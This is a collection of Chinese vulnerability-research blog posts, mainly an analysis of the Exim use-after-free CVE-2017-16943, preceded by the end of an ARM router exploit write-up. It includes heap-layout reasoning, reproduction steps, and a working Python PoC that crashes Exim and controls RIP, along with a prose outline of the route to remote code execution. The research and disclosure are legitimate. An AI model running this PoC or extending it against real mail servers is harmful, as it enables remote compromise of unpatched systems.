保护的栈上虽然不可执行代码,但是依然可以在上面部署数据。我们只需要将要执行的命令部署到栈上,构造 ROP 让 R0 寄存器指向栈上的命令所在区域,然后return2libC
调用系统函数,就可以执行任意命令了。已将 PoC 和 EXP 整理成 Pocsuite 脚本:https://www.seebug.org/vuldb/ssvid-96866/https://www.seebug.org/vuldb/ssvid-96866,验证效果如下。
致谢
第一次接触
ARM
汇编,有很多不足之处,欢迎各大佬指正。中途踩了不少坑,感谢 404 小伙伴 @Hcamael 和 @没有ID 的各种疑难解答。参考链接
- https://www.seebug.org/vuldb/ssvid-96866/https://www.seebug.org/vuldb/ssvid-96866
- http://seclists.org/fulldisclosure/2017/Nov/31/http://seclists.org/fulldisclosure/2017/Nov/31
- https://paper.seebug.org/271/
- https://paper.seebug.org/272/
- http://0x48.pw/2016/11/03/0x26/
- http://www.freebuf.com/articles/terminal/107276.html
-
CVE-2017-16943 Exim UAF漏洞分析–后续
上一篇分析出来后,经过@orange的提点,得知了meh公布的PoC是需要特殊配置才能触发,所以我上一篇分析文章最后的结论应该改成,在默认配置情况下,meh提供的PoC无法成功触发uaf漏洞。之后我又对为啥修改了配置后能触发和默认情况下如何触发漏洞进行了研究
重新复现漏洞
比上一篇分析中复现的步骤,只需要多一步,注释了
/usr/exim/configure
文件中的control = dkim_disable_verify
然后调整下poc的padding,就可以成功触发UAF漏洞,控制rip
分析特殊配置下的触发流程
在代码中有一个变量是
dkim_disable_verify
, 在设置后会变成true
,所以注释掉的情况下,就为默认值false
, 然后再看看receive.c
中的代码:1<ol class="linenums"><li class="L0"><code class="lang-c"><span class="pln">BOOL</span></code></li><li class="L1"><code class="lang-c"><span class="pln">receive_msg</span><span class="pun">(</span><span class="pln">BOOL extract_recip</span><span class="pun">)</span></code></li><li class="L2"><code class="lang-c"><span class="pun">{</span></code></li><li class="L3"><code class="lang-c"><span class="pun">......</span></code></li><li class="L4"><code class="lang-c"><span class="lit">1733</span><span class="pun">:</span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">smtp_input </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">!</span><span class="pln">smtp_batched_input </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">!</span><span class="pln">dkim_disable_verify</span><span class="pun">)</span></code></li><li class="L5"><code class="lang-c"><span class="lit">1734</span><span class="pun">:</span><span class="pln"> dkim_exim_verify_init</span><span class="pun">(</span><span class="pln">chunking_state </span><span class="pun"><=</span><span class="pln"> CHUNKING_OFFERED</span><span class="pun">);</span></code></li><li class="L6"><code class="lang-c"><span class="lit">1735</span><span class="pun">:#</span><span class="pln">endif</span></code></li></ol>进入了
dkim_exim_verify_init
函数,之后的大致流程:1<ol class="linenums"><li class="L0"><code><span class="pln">dkim_exim_verify_init </span><span class="pun">-></span><span class="pln"> pdkim_init_verify </span><span class="pun">-></span><span class="pln"> ctx</span><span class="pun">-></span><span class="pln">linebuf </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">PDKIM_MAX_BODY_LINE_LEN</span><span class="pun">);</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pln">bdat_getc </span><span class="pun">-></span><span class="pln"> smtp_getc </span><span class="pun">-></span><span class="pln"> smtp_refill </span><span class="pun">-></span><span class="pln"> dkim_exim_verify_feed </span><span class="pun">-></span><span class="pln"> pdkim_feed </span><span class="pun">-></span><span class="pln"> string_catn </span><span class="pun">-></span><span class="pln"> string_get </span><span class="pun">-></span><span class="pln"> store_get</span><span class="pun">(</span><span class="lit">0x64</span><span class="pun">)</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="com">#define</span><span class="pln"> PDKIM_MAX_BODY_LINE_LEN </span><span class="lit">16384</span><span class="pln"> </span><span class="com">//0x4000</span></code></li></ol>在上一篇文章中说过了,无法成功触发uaf漏洞的原因是,被free的堆处于堆顶,释放后就和top chunk合并了。
在注释了dkim的配置后,在
dkim_exim_verify_init
函数的流程中,执行了一个store_get
函数,申请了一个0x4000大小的堆,然后在dkim_exim_verify_init
函数和dkim_exim_verify_feed
函数中,都有如下的代码:1<ol class="linenums"><li class="L0"><code><span class="pln">store_pool </span><span class="pun">=</span><span class="pln"> POOL_PERM</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pun">......</span></code></li><li class="L2"><code><span class="pln">store_pool </span><span class="pun">=</span><span class="pln"> dkim_verify_oldpool</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pun">---------------</span></code></li><li class="L4"><code><span class="kwd">enum</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> POOL_MAIN</span><span class="pun">,</span><span class="pln"> POOL_PERM</span><span class="pun">,</span><span class="pln"> POOL_SEARCH </span><span class="pun">};</span></code></li></ol>store_pool
全局变量被修改为了1,之前说过了,exim自己实现了一套堆管理,当store_pool
不同时,相当于对堆进行了隔离,不会影响receive_msg
函数中使用堆管理时的current_block
这类的堆管理全局变量当dkim相关的代码执行结束后,还把
store_pool
恢复回去了因为申请了一个0x4000大小的堆,大于0x2000,所以申请之后
yield_length
全局变量的值变为了0,导致了之后store_get(0x64)
再次申请了一块堆,所以有了两块堆放在了heap1的上面,释放heap1后,heap1被放入了unsortbin,成功触发了uaf漏洞,造成crash。(之前的文章中都有写到)默认配置情况下复现漏洞
在特殊配置情况下复现了漏洞后,又进行了如果在默认配置情况下触发漏洞的研究。
在@explorer大佬的教导下,发现了一种在默认情况下触发漏洞的情况。
其实触发的关键点,就是想办法在heap1上面再malloc一个堆,现在我们从头来开始分析
1<ol class="linenums"><li class="L0"><code><span class="com">// daemon.c</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="lit">137</span><span class="pln"> </span><span class="kwd">static</span><span class="pln"> </span><span class="kwd">void</span></code></li><li class="L3"><code><span class="lit">138</span><span class="pln"> handle_smtp_call</span><span class="pun">(</span><span class="kwd">int</span><span class="pln"> </span><span class="pun">*</span><span class="pln">listen_sockets</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> listen_socket_count</span><span class="pun">,</span></code></li><li class="L4"><code><span class="lit">139</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> accept_socket</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">struct</span><span class="pln"> sockaddr </span><span class="pun">*</span><span class="pln">accepted</span><span class="pun">)</span></code></li><li class="L5"><code><span class="lit">140</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L6"><code><span class="pun">......</span></code></li><li class="L7"><code><span class="lit">348</span><span class="pln"> pid </span><span class="pun">=</span><span class="pln"> fork</span><span class="pun">();</span></code></li><li class="L8"><code><span class="lit">352</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">pid </span><span class="pun">==</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L9"><code><span class="lit">353</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L0"><code><span class="pun">......</span></code></li><li class="L1"><code><span class="lit">504</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">((</span><span class="pln">rc </span><span class="pun">=</span><span class="pln"> smtp_setup_msg</span><span class="pun">())</span><span class="pln"> </span><span class="pun">></span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L2"><code><span class="lit">505</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L3"><code><span class="lit">506</span><span class="pln"> BOOL ok </span><span class="pun">=</span><span class="pln"> receive_msg</span><span class="pun">(</span><span class="pln">FALSE</span><span class="pun">);</span></code></li><li class="L4"><code><span class="pun">......</span></code></li></ol>首先,当有新连接进来的时候,fork一个子进程,然后进入上面代码中的那个分支,
smtp_setup_msg
函数是用来接收命令的函数,我们先发一堆无效的命令过去(padding),控制yield_length
的值小于0x100,目的上一篇文章说过了,因为命令无效,流程再一次进入了smtp_setup_msg
这时候我们发送一个命令
BDAT 16356
然后有几个比较重要的操作:
1<ol class="linenums"><li class="L0"><code><span class="lit">5085</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">sscanf</span><span class="pun">(</span><span class="pln">CS smtp_cmd_data</span><span class="pun">,</span><span class="pln"> </span><span class="str">"%u %n"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">chunking_datasize</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">n</span><span class="pun">)</span><span class="pln"> </span><span class="pun"><</span><span class="pln"> </span><span class="lit">1</span><span class="pun">)</span></code></li><li class="L1"><code><span class="lit">5093</span><span class="pln"> chunking_data_left </span><span class="pun">=</span><span class="pln"> chunking_datasize</span><span class="pun">;</span></code></li><li class="L2"><code><span class="lit">5100</span><span class="pln"> lwr_receive_getc </span><span class="pun">=</span><span class="pln"> receive_getc</span><span class="pun">;</span></code></li><li class="L3"><code><span class="lit">5101</span><span class="pln"> lwr_receive_getbuf </span><span class="pun">=</span><span class="pln"> receive_getbuf</span><span class="pun">;</span></code></li><li class="L4"><code><span class="lit">5102</span><span class="pln"> lwr_receive_ungetc </span><span class="pun">=</span><span class="pln"> receive_ungetc</span><span class="pun">;</span></code></li><li class="L5"><code><span class="lit">5104</span><span class="pln"> receive_getc </span><span class="pun">=</span><span class="pln"> bdat_getc</span><span class="pun">;</span></code></li><li class="L6"><code><span class="lit">5105</span><span class="pln"> receive_ungetc </span><span class="pun">=</span><span class="pln"> bdat_ungetc</span><span class="pun">;</span></code></li></ol>首先是把输入的16356赋值给
chunking_data_left
然后把
receive_getc
换成bdat_getc
函数再做完这些的操作后,进入了
receive_msg
函数,按照上篇文章的流程差不多,显示申请了一个0x100的heap1然后进入
receive_getc=bdat_getc
读取数据:1<ol class="linenums"><li class="L0"><code class="lang-c"><span class="lit">534</span><span class="pln"> </span><span class="typ">int</span></code></li><li class="L1"><code class="lang-c"><span class="lit">535</span><span class="pln"> bdat_getc</span><span class="pun">(</span><span class="kwd">unsigned</span><span class="pln"> lim</span><span class="pun">)</span></code></li><li class="L2"><code class="lang-c"><span class="lit">536</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L3"><code class="lang-c"><span class="pun">......</span></code></li><li class="L4"><code class="lang-c"><span class="lit">546</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">chunking_data_left </span><span class="pun">></span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L5"><code class="lang-c"><span class="lit">547</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> lwr_receive_getc</span><span class="pun">(</span><span class="pln">chunking_data_left</span><span class="pun">--);</span></code></li></ol>lwr_receive_getc=smtp_getc
通过该函数获取16356个字符串首先,我们发送16352个a作为padding,然后执行了下面这流程:
- store_extend return 0 -> store_get -> store_release
先申请了一个0x4010的heap2,然后释放了长度为0x2010的heap1
然后发送
:\r\n
,进入下面的代码分支:1<ol class="linenums"><li class="L0"><code class="lang-c"><span class="lit">1902</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ch </span><span class="pun">==</span><span class="pln"> </span><span class="str">'\r'</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-c"><span class="lit">1903</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code class="lang-c"><span class="lit">1904</span><span class="pln"> ch </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">receive_getc</span><span class="pun">)(</span><span class="pln">GETC_BUFFER_UNLIMITED</span><span class="pun">);</span></code></li><li class="L3"><code class="lang-c"><span class="lit">1905</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ch </span><span class="pun">==</span><span class="pln"> </span><span class="str">'\n'</span><span class="pun">)</span></code></li><li class="L4"><code class="lang-c"><span class="lit">1906</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L5"><code class="lang-c"><span class="lit">1907</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">first_line_ended_crlf </span><span class="pun">==</span><span class="pln"> TRUE_UNSET</span><span class="pun">)</span><span class="pln"> first_line_ended_crlf </span><span class="pun">=</span><span class="pln"> TRUE</span><span class="pun">;</span></code></li><li class="L6"><code class="lang-c"><span class="lit">1908</span><span class="pln"> </span><span class="kwd">goto</span><span class="pln"> EOL</span><span class="pun">;</span></code></li><li class="L7"><code class="lang-c"><span class="lit">1909</span><span class="pln"> </span><span class="pun">}</span></code></li></ol>跳到了EOL,最重要的是最后几行代码:
1<ol class="linenums"><li class="L0"><code class="lang-c"><span class="lit">2215</span><span class="pln"> header_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">256</span><span class="pun">;</span></code></li><li class="L1"><code class="lang-c"><span class="lit">2216</span><span class="pln"> next </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="kwd">sizeof</span><span class="pun">(</span><span class="pln">header_line</span><span class="pun">));</span></code></li><li class="L2"><code class="lang-c"><span class="lit">2217</span><span class="pln"> next</span><span class="pun">-></span><span class="pln">text </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">header_size</span><span class="pun">);</span></code></li><li class="L3"><code class="lang-c"><span class="lit">2218</span><span class="pln"> ptr </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L4"><code class="lang-c"><span class="lit">2219</span><span class="pln"> had_zero </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L5"><code class="lang-c"><span class="lit">2220</span><span class="pln"> prevlines_length </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L6"><code class="lang-c"><span class="lit">2221</span><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="com">/* Continue, starting to read the next header */</span></code></li></ol>把一些变量重新进行了初始化,因为之前因为padding执行了
store_get(0x4000)
,所以这个时候yield_length=0
这个时候再次调用store_get将会申请一个0x2000大小堆,从unsortbin中发现heap1大小正好合适,所以这个时候得到的就是heap1,在heap1的顶上有一个之前next->text
使用,大小0x4010,未释放的堆。之后流程的原理其实跟之前的差不多,PoC如下:
1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">r </span><span class="pun">=</span><span class="pln"> remote</span><span class="pun">(</span><span class="str">'localhost'</span><span class="pun">,</span><span class="pln"> </span><span class="lit">25</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-python"></code></li><li class="L2"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">recvline</span><span class="pun">()</span></code></li><li class="L3"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"EHLO test"</span><span class="pun">)</span></code></li><li class="L4"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">recvuntil</span><span class="pun">(</span><span class="str">"250 HELP"</span><span class="pun">)</span></code></li><li class="L5"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"MAIL FROM:<test@localhost>"</span><span class="pun">)</span></code></li><li class="L6"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">recvline</span><span class="pun">()</span></code></li><li class="L7"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"RCPT TO:<test@localhost>"</span><span class="pun">)</span></code></li><li class="L8"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">recvline</span><span class="pun">()</span></code></li><li class="L9"><code class="lang-python"><span class="com"># raw_input()</span></code></li><li class="L0"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">'a'</span><span class="pun">*</span><span class="lit">0x1300</span><span class="pun">+</span><span class="str">'\x7f'</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-python"><span class="com"># raw_input()</span></code></li><li class="L2"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">recvuntil</span><span class="pun">(</span><span class="str">'command'</span><span class="pun">)</span></code></li><li class="L3"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">'BDAT 16356'</span><span class="pun">)</span></code></li><li class="L4"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"a"</span><span class="pun">*</span><span class="lit">16352</span><span class="pun">+</span><span class="str">':\r'</span><span class="pun">)</span></code></li><li class="L5"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">'aBDAT \x7f'</span><span class="pun">)</span></code></li><li class="L6"><code class="lang-python"><span class="pln">s </span><span class="pun">=</span><span class="pln"> </span><span class="str">'a'</span><span class="pun">*</span><span class="lit">6</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> p64</span><span class="pun">(</span><span class="lit">0xabcdef</span><span class="pun">)*(</span><span class="lit">0x1e00</span><span class="pun">/</span><span class="lit">8</span><span class="pun">)</span></code></li><li class="L7"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">send</span><span class="pun">(</span><span class="pln">s</span><span class="pun">+</span><span class="pln"> </span><span class="str">':\r\n'</span><span class="pun">)</span></code></li><li class="L8"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">recvuntil</span><span class="pun">(</span><span class="str">'command'</span><span class="pun">)</span></code></li><li class="L9"><code class="lang-python"><span class="com">#raw_input()</span></code></li><li class="L0"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">send</span><span class="pun">(</span><span class="str">'\n'</span><span class="pun">)</span></code></li></ol>exp
根据该CVE作者发的文章,得知是利用文件IO的fflush来控制第一个参数,然后通过堆喷和内存枚举来来伪造vtable,最后跳转到
expand_string
函数来执行命令,正好我最近也在研究ctf中的_IO_FILE
的相关利用(之后应该会写几篇这方面相关的blog),然后实现了RCE,结果图如下:参考链接
-
CVE-2017-16943 Exim UAF漏洞分析
感恩节那天,meh在Bugzilla上提交了一个exim的uaf漏洞:https://bugs.exim.org/show_bug.cgi?id=2199,这周我对该漏洞进行应急复现,却发现,貌似利用meh提供的PoC并不能成功利用UAF漏洞造成crash
漏洞复现
首先进行漏洞复现
环境搭建
复现环境:ubuntu 16.04 server
1<ol class="linenums"><li class="L0"><code class="lang-bash"><span class="com"># 从github上拉取源码</span></code></li><li class="L1"><code class="lang-bash"><span class="pln">$ git clone https</span><span class="pun">://</span><span class="pln">github</span><span class="pun">.</span><span class="pln">com</span><span class="pun">/</span><span class="typ">Exim</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">.</span><span class="pln">git</span></code></li><li class="L2"><code class="lang-bash"><span class="com"># 在4e6ae62分支修补了UAF漏洞,所以把分支切换到之前的178ecb:</span></code></li><li class="L3"><code class="lang-bash"><span class="pln">$ git checkout ef9da2ee969c27824fcd5aed6a59ac4cd217587b</span></code></li><li class="L4"><code class="lang-bash"><span class="com"># 安装相关依赖</span></code></li><li class="L5"><code class="lang-bash"><span class="pln">$ apt install libdb</span><span class="pun">-</span><span class="pln">dev libpcre3</span><span class="pun">-</span><span class="pln">dev</span></code></li><li class="L6"><code class="lang-bash"><span class="com"># 获取meh提供的Makefile文件,放到Local目录下,如果没有则创建该目录</span></code></li><li class="L7"><code class="lang-bash"><span class="pln">$ cd src</span></code></li><li class="L8"><code class="lang-bash"><span class="pln">$ mkdir </span><span class="typ">Local</span></code></li><li class="L9"><code class="lang-bash"><span class="pln">$ cd </span><span class="typ">Local</span></code></li><li class="L0"><code class="lang-bash"><span class="pln">$ wget </span><span class="str">"https://bugs.exim.org/attachment.cgi?id=1051"</span><span class="pln"> </span><span class="pun">-</span><span class="pln">O </span><span class="typ">Makefile</span></code></li><li class="L1"><code class="lang-bash"><span class="pln">$ cd </span><span class="pun">..</span></code></li><li class="L2"><code class="lang-bash"><span class="com"># 修改Makefile文件的第134行,把用户修改为当前服务器上存在的用户,然后编译安装</span></code></li><li class="L3"><code class="lang-bash"><span class="pln">$ make </span><span class="pun">&&</span><span class="pln"> make install</span></code></li></ol>然后再修改下配置文件
/etc/exim/configure
文件的第364行,把accept hosts = :
修改成accept hosts = *
PoC测试
从https://bugs.exim.org/attachment.cgi?id=1050获取到meh的debug信息,得知启动参数:
1<ol class="linenums"><li class="L0"><code><span class="pln">$ </span><span class="pun">/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">/</span><span class="pln">bin</span><span class="pun">/</span><span class="pln">exim </span><span class="pun">-</span><span class="pln">bdf </span><span class="pun">-</span><span class="pln">d</span><span class="pun">+</span><span class="pln">all</span></code></li></ol>PoC有两个:
需要先安装下pwntools,直接用pip装就好了,两个PoC的区别其实就是padding的长度不同而已
然后就使用PoC进行测试,发现几个问题:
- 我的debug信息在最后一部分和meh提供的不一样
- 虽然触发了crash,但是并不是UAF导致的crash
debug信息不同点比较: